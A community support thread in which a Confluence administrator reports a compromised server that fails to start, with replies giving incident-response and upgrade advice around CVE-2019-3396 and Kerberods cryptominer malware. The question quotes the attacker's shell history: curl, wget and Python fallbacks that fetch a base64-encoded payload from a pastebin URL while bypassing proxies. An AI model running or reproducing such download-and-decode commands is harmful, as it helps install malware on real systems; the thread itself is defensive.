?onfluence hacked and does not start
Asked by Vladimir Shishmarev:

Our server confluence hacked.  
Most likely through a recent vulnerability.  
The attacker executed:

*657 curl -fsSL <https://pastebin.com/raw/SPG1SGPw> --noproxy "\*"\|\|wget -q -O- <https://pastebin.com/raw/SPG1SGPw> -e use_proxy=no\|\|python -c 'import urllib2 as fbi;import urllib2;proxy = urllib2.ProxyHandler({});opener = urllib2.build_opener(proxy);urllib2.install_opener(opener);print fbi.urlopen("<https://pastebin.com/raw/SPG1SGPw").read>()') \| base64 -d \| echo*   
*658 (curl -fsSL <https://pastebin.com/raw/SPG1SGPw> --noproxy "\*"\|\|wget -q -O- <https://pastebin.com/raw/SPG1SGPw> -e use_proxy=no\|\|python -c 'import urllib2 as fbi;import urllib2;proxy = urllib2.ProxyHandler({});opener = urllib2.build_opener(proxy);urllib2.install_opener(opener);print fbi.urlopen("<https://pastebin.com/raw/SPG1SGPw").read>()') \| base64 -d \| echo*   
*659 wget -q -O- <https://pastebin.com/raw/SPG1SGPw> -e use_proxy=no*

Confluence does not start at the moment:

*22-Apr-2019 14:08:12.842 INFO \[localhost-startStop-2\] org.springframework.context.support.DefaultLifecycleProcessor.start Starting beans in phase 2147483647*   
*22-Apr-2019 14:08:12.896 INFO \[localhost-startStop-2\] org.springframework.web.servlet.DispatcherServlet.initServletBean FrameworkServlet 'dispatcher': initialization completed in 2161 ms*   
*2019-04-22 14:08:15,808 INFO \[localhost-startStop-1\] \[atlassian.confluence.cluster.DefaultClusterConfigurationHelper\] lambda$populateExistingClusterSetupConfig$1 Populating setup configuration if running with Cluster mode...*   
*22-Apr-2019 14:08:26.242 SEVERE \[localhost-startStop-1\] org.apache.catalina.core.StandardContext.startInternal One or more Filters failed to start. Full details will be found in the appropriate container log file*   
*22-Apr-2019 14:08:26.243 SEVERE \[localhost-startStop-1\] org.apache.catalina.core.StandardContext.startInternal Context \[\] startup failed due to previous errors*   
*22-Apr-2019 14:08:26.308 WARNING \[localhost-startStop-1\] org.apache.catalina.loader.WebappClassLoaderBase.clearReferencesJdbc The web application \[ROOT\] registered the JDBC driver \[org.h2.Driver\] but failed to unregister it when the web application was stopped. To prevent a memory leak, the JDBC Driver has been forcibly unregistered.*   
*22-Apr-2019 14:08:26.308 WARNING \[localhost-startStop-1\] org.apache.catalina.loader.WebappClassLoaderBase.clearReferencesJdbc The web application \[ROOT\] registered the JDBC driver \[com.microsoft.sqlserver.jdbc.SQLServerDriver\] but failed to unregister it when the web application was stopped. To prevent a memory leak, the JDBC Driver has been forcibly unregistered.*   
*22-Apr-2019 14:08:26.309 WARNING \[localhost-startStop-1\] org.apache.catalina.loader.WebappClassLoaderBase.clearReferencesJdbc The web application \[ROOT\] registered the JDBC driver \[net.sourceforge.jtds.jdbc.Driver\] but failed to unregister it when the web application was stopped. To prevent a memory leak, the JDBC Driver has been forcibly unregistered.*   
*22-Apr-2019 14:08:26.309 WARNING \[localhost-startStop-1\] org.apache.catalina.loader.WebappClassLoaderBase.clearReferencesJdbc The web application \[ROOT\] registered the JDBC driver \[com.github.gquintana.metrics.sql.Driver\] but failed to unregister it when the web application was stopped. To prevent a memory leak, the JDBC Driver has been forcibly unregistered.*   
*22-Apr-2019 14:08:26.310 WARNING \[localhost-startStop-1\] org.apache.catalina.loader.WebappClassLoaderBase.clearReferencesJdbc The web application \[ROOT\] registered the JDBC driver \[org.postgresql.Driver\] but failed to unregister it when the web application was stopped. To prevent a memory leak, the JDBC Driver has been forcibly unregistered.*   
*22-Apr-2019 14:08:26.310 WARNING \[localhost-startStop-1\] org.apache.catalina.loader.WebappClassLoaderBase.clearReferencesJdbc The web application \[ROOT\] registered the JDBC driver \[org.hsqldb.jdbc.JDBCDriver\] but failed to unregister it when the web application was stopped. To prevent a memory leak, the JDBC Driver has been forcibly unregistered.*   
*22-Apr-2019 14:08:26.310 WARNING \[localhost-startStop-1\] org.apache.catalina.loader.WebappClassLoaderBase.clearReferencesJdbc The web application \[ROOT\] registered the JDBC driver \[com.mysql.fabric.jdbc.FabricMySQLDriver\] but failed to unregister it when the web application was stopped. To prevent a memory leak, the JDBC Driver has been forcibly unregistered.*   
*22-Apr-2019 14:08:26.311 WARNING \[localhost-startStop-1\] org.apache.catalina.loader.WebappClassLoaderBase.clearReferencesJdbc The web application \[ROOT\] registered the JDBC driver \[com.mysql.jdbc.Driver\] but failed to unregister it when the web application was stopped. To prevent a memory leak, the JDBC Driver has been forcibly unregistered.*   
*22-Apr-2019 14:08:26.312 WARNING \[localhost-startStop-1\] org.apache.catalina.loader.WebappClassLoaderBase.clearReferencesThreads The web application \[ROOT\] appears to have started a thread named \[Abandoned connection cleanup thread\] but has failed to stop it. This is very likely to create a memory leak. Stack trace of thread:*   
*java.lang.Object.wait(Native Method)*   
*java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:143)*   
*com.mysql.jdbc.AbandonedConnectionCleanupThread.run(AbandonedConnectionCleanupThread.java:64)*   
*java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)*   
*java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)*   
*java.lang.Thread.run(Thread.java:748)*   
*22-Apr-2019 14:08:26.330 INFO \[main\] org.apache.coyote.AbstractProtocol.start Starting ProtocolHandler \["http-nio-8094"\]*   
*22-Apr-2019 14:08:26.353 INFO \[main\] org.apache.catalina.startup.Catalina.start Server startup in 18459 ms*   
*22-Apr-2019 14:08:30.908 INFO \[Abandoned connection cleanup thread\] org.apache.catalina.loader.WebappClassLoaderBase.checkStateForResourceLoading Illegal access: this web application instance has been stopped already. Could not load \[\]. The following stack trace is thrown for debugging purposes as well as to attempt to terminate the thread which caused the illegal access.*   
*java.lang.IllegalStateException: Illegal access: this web application instance has been stopped already. Could not load \[\]. The following stack trace is thrown for debugging purposes as well as to attempt to terminate the thread which caused the illegal access.*   
*at org.apache.catalina.loader.WebappClassLoaderBase.checkStateForResourceLoading(WebappClassLoaderBase.java:1355)*   
*at org.apache.catalina.loader.WebappClassLoaderBase.getResource(WebappClassLoaderBase.java:1025)*   
*at com.mysql.jdbc.AbandonedConnectionCleanupThread.checkContextClassLoaders(AbandonedConnectionCleanupThread.java:90)*   
*at com.mysql.jdbc.AbandonedConnectionCleanupThread.run(AbandonedConnectionCleanupThread.java:63)*   
*at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)*   
*at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)*   
*at java.lang.Thread.run(Thread.java:748)*

Update.

I used the [LSD malware cleanup tool](https://git.laucyun.com/security/lsd_malware_clean_tool/blob/master/README.md) and hope that I destroyed the maleware. But Confluence still does not start.

<br />

How to return it to work?


Answers:
author: Andrew
body: Hi [@Vladimir Shishmarev](/t5/user/viewprofilepage/user-id/1180226) ,

I recommend You create the new server and install fresh confluence same version as current, then clone the database and attachment store to new confluence. Run conf and check the data not lost. If with data all fine upgrade new conf to latest version.

<https://confluence.atlassian.com/doc/migrating-confluence-between-servers-184150.html>

B.R.


author: Ram Parthasarathy
body: We have the same issue now. [@Atlassian Support Team](/t5/user/viewprofilepage/user-id/1463393) Can you please provide detailed steps to upgrade manually. We are currently on 5.x version and there is no fixes in 5.x.

Our JIRA version is 7.1.8. Can you let us know what will be affected if we move to 6.x version of confluence.

Thanks


author: Diego
body: Hello there!

There are some procedures you can look into. Here it goes:

Based on your symptoms, it sounds like your instance might be affected by an opportunistic attack against the CVE-2019-3396 Widget Connector vulnerability from March 20th ([see Confluence Security Advisory - 2019-03-20](https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html)). We've seen an infection going around that injects malware and the bitcoin miner it tries to run uses all the CPU available on the box. Initially the kerberods malware was being deployed as the payload, but other attacks might be trying to inject different payloads.

I'd recommend tackling things in this order:

1. Kill malicious processes
2. Clean up your crontab
3. Upgrade Confluence
4. Use a malware scanner to find remaining malware traces

**Malicious processes**

The **top** command will help you find processes (probably running under the confluence user account) that are consuming a large amount of CPU. If Confluence is currently stopped, you can probably plan on killing any processes running as the confluence user. note the process ID (pid) from the **top** output and then kill the process using **kill -9** followed by the pid. Example:

```
sudo kill -9 12395
```

**Clean up your crontab**

Since most malware adds a cronjob that relaunches the malware every few minutes, you'll also need to [check the crontab file](https://help.ubuntu.com/community/CronHowto) and remove any suspicious-looking entries. For Ubuntu, this is stored in the /var/spool/cron/crontabs/ directory. Normally you should use the crontab command to edit the crontab, but for cleanup purposes we'll be inspecting the file for any pre-existing entries.

Using vim (or whichever text editor you're comfortable with), you'll open the file and remove suspicious-looking jobs.

```
sudo vim /var/spool/cron/crontabs/confluence
```

Confluence comes up on system startup through the SysV/systemd daemons, so we would expect the confluence user's crontab to **not exist** under normal circumstances. It's most likely the case that any entries in this file are malicious, but make sure you check them before deleting them entirely.

**Upgrade Confluence**

Once your CPU is under control and new malicious process aren't spawning, you need to upgrade Confluence to a version that isn't affected by the vulnerability. I'd recommend looking at one of these versions (latest releases as of this post):

* 6.13.4 (6.13 is an [Enterprise release](https://confluence.atlassian.com/enterprise/atlassian-enterprise-releases-948227420.html))
* 6.14.3
* 6.15.2

**Use a malware scanner**

Finally, you need to clean up any remaining traces of malware on your system. The [LSD malware cleanup tool](https://git.laucyun.com/security/lsd_malware_clean_tool/blob/master/README.md) will be useful for removing the Kerberods malware. Other malware payloads might need different cleanup tools depending on which attack and payload were used. A good starting place for detecting other types of infections [are the scanners linked here](https://www.tecmint.com/scan-linux-for-malware-and-rootkits/). Once a particular infection is identified, googling for "____ removal tool" is a good place to start if the scanner was unable to remove the malware automatically.


author: Vladimir Shishmarev
body: I used the [LSD malware cleanup tool](https://git.laucyun.com/security/lsd_malware_clean_tool/blob/master/README.md) and hope that I destroyed the maleware. But Confluence still does not start.


author: Vladimir Shishmarev
body: I saw other posts with the same attack symptoms. But they do not indicate a breakdown of confluence. In my case, confluence does not work. Are these events related?


Tags: atl-confsec

confluence-server

server